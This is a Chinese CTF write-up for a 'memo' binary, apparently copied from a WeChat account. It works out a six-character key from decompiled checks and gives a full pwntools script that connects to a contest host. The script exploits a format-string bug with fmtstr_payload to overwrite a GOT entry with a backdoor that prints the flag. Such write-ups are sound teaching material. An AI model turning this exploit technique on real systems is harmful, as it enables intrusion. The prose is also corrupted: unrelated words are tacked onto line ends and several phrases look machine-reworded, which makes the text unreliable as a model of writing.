跟去年那个格式化字符串漏洞的题同样,只是改了改 key 的值,验证过程是这样的web
注意那个 v2 是 esp+Eh 而咱们的 s 是 esp+Ah,也就是说输入的 6 个 key 有两个会写到 v2 上,v2 是咱们可控的,那个 SBYTE1 不知道是啥,对着去年省赛用 angr 解出来的 key 猜想是第二位,SBYTE1(v2) 就是 s 的最后一位了docker
s[0]=81 即 Q
81 * SBYTE1(v2) =4131 获得 SBYTE1(v2) 为 51 即 3
s[2] / SBYTE1(v2) = 2 获得 s[2] = 102 即 f
SBYTE1(v2) + (char)v2 = 141 的 (char)v2 = 90 即 Z
(char)v2 - s[1] = 18 得 s[1] = 72 即 H
那么如今是:QHf?Z3,s[3] 我取了个 0 成功了
QHf0Z3,拿到 key 以后就是简单的格式化字符串漏洞了,程序自己有个后门,能够 cat flag微信
数一下偏移在第五个编辑器
而后直接用 fmtstr_payload()url
from pwn import *
#p=process('./memo')
p=remote('10.100.100.2',10999)
p.recvuntil("Key:")
p.sendline("QHf0Z3")
p.recvuntil("your msg:")
payload = fmtstr_payload(5, {0x804C018:0x8049211})
p.sendline(payload)
p.interactive()
====== 完 ======spa
这道题当时一打开发现跟去年的差很少,激动的立刻打开虚拟机进了 docker,结果忘了 angr 的 docker 是咋用的了 Orz....net
把虚拟机快照还原到以前刚安装 angr 的那个,在虚拟机的 history 命令中找到了个 su angr(还好当时输错了终端2333),结果用存的几个模板没跑出来 key,又懵了3d
后来仍是靠本身看伪代码算出来那个 keycode
本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。blog